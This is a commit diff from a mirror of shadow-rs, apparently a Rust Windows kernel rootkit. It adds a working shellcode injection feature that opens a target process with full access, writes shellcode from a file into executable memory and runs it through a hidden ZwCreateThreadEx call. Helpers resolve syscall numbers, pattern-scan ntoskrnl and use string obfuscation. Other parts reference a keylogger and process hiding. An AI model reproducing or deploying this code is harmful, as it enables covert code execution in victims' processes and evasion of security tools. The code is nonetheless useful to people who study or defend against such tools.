mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-31 14:14:42 +01:00
Adding Injection functionality via ZwCreateTheadEx
This commit is contained in:
117
driver/src/injection/mod.rs
Normal file
117
driver/src/injection/mod.rs
Normal file
@@ -0,0 +1,117 @@
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use {
|
||||
crate::{
|
||||
includes::{MmCopyVirtualMemory, ZwCreateThreadExType},
|
||||
process::Process,
|
||||
utils::{find_zw_function, read_file, InitializeObjectAttributes}
|
||||
},
|
||||
core::{
|
||||
ffi::c_void, ptr::null_mut
|
||||
},
|
||||
obfstr::obfstr, shared::structs::TargetInjection,
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoGetCurrentProcess, ZwAllocateVirtualMemory, ZwOpenProcess
|
||||
},
|
||||
_MODE::KernelMode, *
|
||||
}
|
||||
};
|
||||
|
||||
pub struct Injection;
|
||||
|
||||
impl Injection {
|
||||
/// Injection Shellcode in Thread.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target`: The identifier of the target process (PID) to injection shellcode.
|
||||
///
|
||||
/// # Return
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
||||
let pid = (*target).pid;
|
||||
let path = &(*target).path;
|
||||
let mut h_process: HANDLE = null_mut();
|
||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
||||
Some(addr) => addr as *mut c_void,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let target_eprocess = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
let mut object_attributes = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: null_mut(),
|
||||
};
|
||||
|
||||
let mut status = ZwOpenProcess(
|
||||
&mut h_process,
|
||||
PROCESS_ALL_ACCESS,
|
||||
&mut object_attributes,
|
||||
&mut client_id,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||
return status;
|
||||
}
|
||||
|
||||
let shellcode = match read_file(path) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(error) => return error
|
||||
};
|
||||
let mut base_address = null_mut();
|
||||
let mut region_size = shellcode.len() as u64;
|
||||
status = ZwAllocateVirtualMemory(
|
||||
h_process,
|
||||
&mut base_address,
|
||||
0,
|
||||
&mut region_size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||
return status;
|
||||
}
|
||||
|
||||
// ZwProtectVirtualMemory
|
||||
let mut result_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
IoGetCurrentProcess(),
|
||||
shellcode.as_ptr() as _,
|
||||
target_eprocess.e_process,
|
||||
base_address,
|
||||
shellcode.len() as u64,
|
||||
KernelMode as i8,
|
||||
&mut result_number,
|
||||
);
|
||||
|
||||
let ZwCreateThreadEx = core::mem::transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||
let mut h_thread = null_mut();
|
||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||
|
||||
status = ZwCreateThreadEx(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&mut obj_attr,
|
||||
h_process,
|
||||
core::mem::transmute(base_address),
|
||||
null_mut(),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
null_mut()
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||
return status;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
@@ -1,24 +1,20 @@
|
||||
use {
|
||||
crate::{
|
||||
driver::Driver, handle_driver, handle_process,
|
||||
handle_callback, handle_thread, keylogger::set_keylogger_state,
|
||||
process::Process, thread::Thread, callbacks::Callback,
|
||||
handle_module, module::Module
|
||||
callbacks::Callback, driver::Driver,
|
||||
handle_callback, handle_driver, handle_injection,
|
||||
handle_module, handle_process, handle_thread,
|
||||
keylogger::set_keylogger_state, module::Module,
|
||||
process::Process, thread::Thread, injection::Injection
|
||||
},
|
||||
alloc::boxed::Box,
|
||||
core::mem::size_of,
|
||||
hashbrown::HashMap,
|
||||
lazy_static::lazy_static,
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS},
|
||||
shared::{
|
||||
ioctls::*,
|
||||
structs::{
|
||||
DriverInfo, TargetDriver, EnumerateInfoInput, Keylogger,
|
||||
ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess,
|
||||
TargetThread, ThreadListInfo, DSE, CallbackInfoOutput, CallbackInfoInput,
|
||||
ModuleInfo
|
||||
}
|
||||
structs::*,
|
||||
},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -147,6 +143,13 @@ lazy_static! {
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
ioctls.insert(IOCTL_INJECTION, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
log::info!("Received IOCTL_INJECTION");
|
||||
let status = unsafe { handle_injection!(stack, Injection::injection_thread, TargetInjection) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
status
|
||||
}) as IoctlHandler);
|
||||
|
||||
// If the feature is a mapper, these functionalities will not be added.
|
||||
#[cfg(not(feature = "mapper"))] {
|
||||
|
||||
|
||||
@@ -89,6 +89,21 @@ macro_rules! handle_driver {
|
||||
}};
|
||||
}
|
||||
|
||||
/// Macro to handle injection-related operations.
|
||||
///
|
||||
/// Executes the given action based on the provided parameters and returns the status.
|
||||
#[macro_export]
|
||||
macro_rules! handle_injection {
|
||||
($stack:expr, $action:expr, $type_:ty) => {{
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) {
|
||||
Ok(buffer) => buffer,
|
||||
Err(status) => return status,
|
||||
};
|
||||
|
||||
$action(input_buffer)
|
||||
}};
|
||||
}
|
||||
|
||||
/// Macro to handle registry-related operations.
|
||||
///
|
||||
/// Executes the given action based on the provided parameters and returns the status.
|
||||
|
||||
@@ -1,26 +1,31 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
alloc::string::String,
|
||||
crate::process::Process,
|
||||
crate::includes::SystemModuleInformation,
|
||||
core::{ffi::CStr, ptr::null_mut},
|
||||
crate::{includes::SystemModuleInformation, process::Process},
|
||||
alloc::{string::String, vec, vec::Vec},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read},
|
||||
fmt::Write
|
||||
},
|
||||
ntapi::{
|
||||
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||
ntzwapi::ZwQuerySystemInformation,
|
||||
},
|
||||
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||
ntzwapi::ZwQuerySystemInformation
|
||||
},
|
||||
ntddk::{ZwCreateFile, ZwQueryInformationFile},
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::{
|
||||
ExAllocatePool, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess,
|
||||
},
|
||||
IRP, KAPC_STATE, NTSTATUS, NT_SUCCESS, STATUS_INVALID_PARAMETER,
|
||||
_IO_STACK_LOCATION, _POOL_TYPE::NonPagedPool
|
||||
},
|
||||
winapi::{
|
||||
ctypes::c_void,
|
||||
um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE
|
||||
ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection
|
||||
},
|
||||
_FILE_INFORMATION_CLASS::FileStandardInformation,
|
||||
_POOL_TYPE::NonPagedPool,
|
||||
_SECTION_INHERIT::ViewUnmap
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||
},
|
||||
};
|
||||
|
||||
@@ -94,10 +99,14 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
|
||||
return None;
|
||||
}
|
||||
|
||||
RtlZeroMemory(info_module as *mut c_void, return_bytes as usize);
|
||||
|
||||
let status = ZwQuerySystemInformation(SystemModuleInformation,info_module as *mut c_void,return_bytes,&mut return_bytes);
|
||||
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
info_module as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
||||
return None;
|
||||
@@ -107,7 +116,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
|
||||
|
||||
for i in 0..module_count as usize {
|
||||
let name = (*info_module).modules[i].image_name;
|
||||
let module_base = (*info_module).modules[i].image_base;
|
||||
let module_base = (*info_module).modules[i].image_base as *mut c_void;
|
||||
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||
if name_str.contains(module_name) {
|
||||
return Some(module_base);
|
||||
@@ -129,16 +138,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
|
||||
///
|
||||
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
log::error!("INVALID DOS SIGNATURE");
|
||||
return None;
|
||||
}
|
||||
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
|
||||
log::error!("INVALID NT SIGNATURE");
|
||||
return None;
|
||||
}
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
|
||||
@@ -181,16 +181,7 @@ pub unsafe fn get_function_address_asynckey(name: &str, dll_base: *mut c_void) -
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
log::error!("INVALID DOS SIGNATURE");
|
||||
return None;
|
||||
}
|
||||
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
|
||||
log::error!("INVALID NT SIGNATURE");
|
||||
return None;
|
||||
}
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
|
||||
@@ -267,6 +258,246 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
None
|
||||
}
|
||||
|
||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
let mut section_handle = null_mut();
|
||||
let ntdll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
|
||||
let mut obj_attr = OBJECT_ATTRIBUTES {
|
||||
ObjectName: &mut ntdll.to_unicode(),
|
||||
SecurityDescriptor: null_mut(),
|
||||
SecurityQualityOfService: null_mut(),
|
||||
RootDirectory: null_mut(),
|
||||
Attributes: OBJ_CASE_INSENSITIVE,
|
||||
Length: size_of::<OBJECT_ATTRIBUTES>() as u32
|
||||
};
|
||||
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||
return None
|
||||
}
|
||||
|
||||
let mut large: LARGE_INTEGER = zeroed();
|
||||
let mut ntdll_addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut ntdll_addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
let dos_header = ntdll_addr as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let ntdll_addr = ntdll_addr as usize;
|
||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = (ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32;
|
||||
let ordinals = (ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16;
|
||||
let addresss = (ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32;
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((ntdll_addr + *names.offset(i) as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = *ordinals.offset(i);
|
||||
let address = (ntdll_addr + *addresss.offset(ordinal as isize) as usize) as *const u8;
|
||||
if name_module == function_name {
|
||||
|
||||
if read(address) == 0x4C
|
||||
&& read(address.add(1)) == 0x8B
|
||||
&& read(address.add(2)) == 0xD1
|
||||
&& read(address.add(3)) == 0xB8
|
||||
&& read(address.add(6)) == 0x00
|
||||
&& read(address.add(7)) == 0x00
|
||||
{
|
||||
let high = read(address.add(5)) as u16;
|
||||
let low = read(address.add(4)) as u16;
|
||||
let ssn = (high << 8) | low;
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return Some(ssn);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
let ssn = match get_syscall_index(name) {
|
||||
Some(ssn) => ssn,
|
||||
None => return None,
|
||||
};
|
||||
let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) {
|
||||
Some(addr) => addr,
|
||||
None => return None,
|
||||
};
|
||||
|
||||
let ssn_bytes = ssn.to_le_bytes();
|
||||
let pattern = [
|
||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||
0xFA, // cli
|
||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||
0x50, // push rax
|
||||
0x9C, // pushfq
|
||||
0x6A, 0x10, // push 10h
|
||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||
0x50, // push rax
|
||||
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
|
||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||
];
|
||||
|
||||
let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *mut IMAGE_SECTION_HEADER;
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == obfstr!(".text") {
|
||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len())
|
||||
.position(|window| {
|
||||
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
|
||||
return Some(text_start + offset);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return None
|
||||
}
|
||||
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
#[allow(non_snake_case)]
|
||||
pub fn InitializeObjectAttributes(
|
||||
object_name: Option<*mut UNICODE_STRING>,
|
||||
attributes: u32,
|
||||
root_directory: Option<*mut c_void>,
|
||||
security_descriptor: Option<*mut c_void>,
|
||||
security_quality_of_service: Option<*mut c_void>
|
||||
) -> OBJECT_ATTRIBUTES {
|
||||
OBJECT_ATTRIBUTES {
|
||||
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
|
||||
RootDirectory: root_directory.unwrap_or(null_mut()),
|
||||
ObjectName: object_name.unwrap_or(null_mut()),
|
||||
Attributes: attributes,
|
||||
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
|
||||
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut())
|
||||
}
|
||||
}
|
||||
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
let mut path_nt = String::new();
|
||||
write!(&mut path_nt, "\\??\\{}", path).unwrap();
|
||||
|
||||
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
|
||||
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
|
||||
let mut obj_attr = InitializeObjectAttributes(
|
||||
Some(&mut file_name.to_unicode()),
|
||||
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
|
||||
None,
|
||||
None,
|
||||
None
|
||||
);
|
||||
|
||||
let mut h_file: HANDLE = null_mut();
|
||||
let mut status = unsafe {
|
||||
ZwCreateFile(
|
||||
&mut h_file,
|
||||
GENERIC_READ,
|
||||
&mut obj_attr,
|
||||
&mut io_status_block,
|
||||
null_mut(),
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
FILE_OPEN,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
null_mut(),
|
||||
0,
|
||||
)
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwCreateFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
|
||||
status = unsafe {
|
||||
ZwQueryInformationFile(
|
||||
h_file,
|
||||
&mut io_status_block,
|
||||
&mut file_info as *mut _ as *mut c_void,
|
||||
size_of::<FILE_STANDARD_INFORMATION>() as u32,
|
||||
FileStandardInformation
|
||||
)
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwQueryInformationFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
|
||||
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
|
||||
byte_offset.QuadPart = 0;
|
||||
let mut shellcode = vec![0u8; file_size];
|
||||
status = unsafe {
|
||||
ZwReadFile(
|
||||
h_file,
|
||||
null_mut(),
|
||||
None,
|
||||
null_mut(),
|
||||
&mut io_status_block,
|
||||
shellcode.as_mut_ptr() as *mut c_void,
|
||||
file_size as u32,
|
||||
&mut byte_offset,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwReadFile Failed With Status: {status}");
|
||||
unsafe { ZwClose(h_file) };
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
unsafe { ZwClose(h_file) };
|
||||
|
||||
return Ok(shellcode)
|
||||
}
|
||||
|
||||
/// Validates if the given address is within the kernel memory range.
|
||||
///
|
||||
/// # Parameters
|
||||
|
||||
Reference in New Issue
Block a user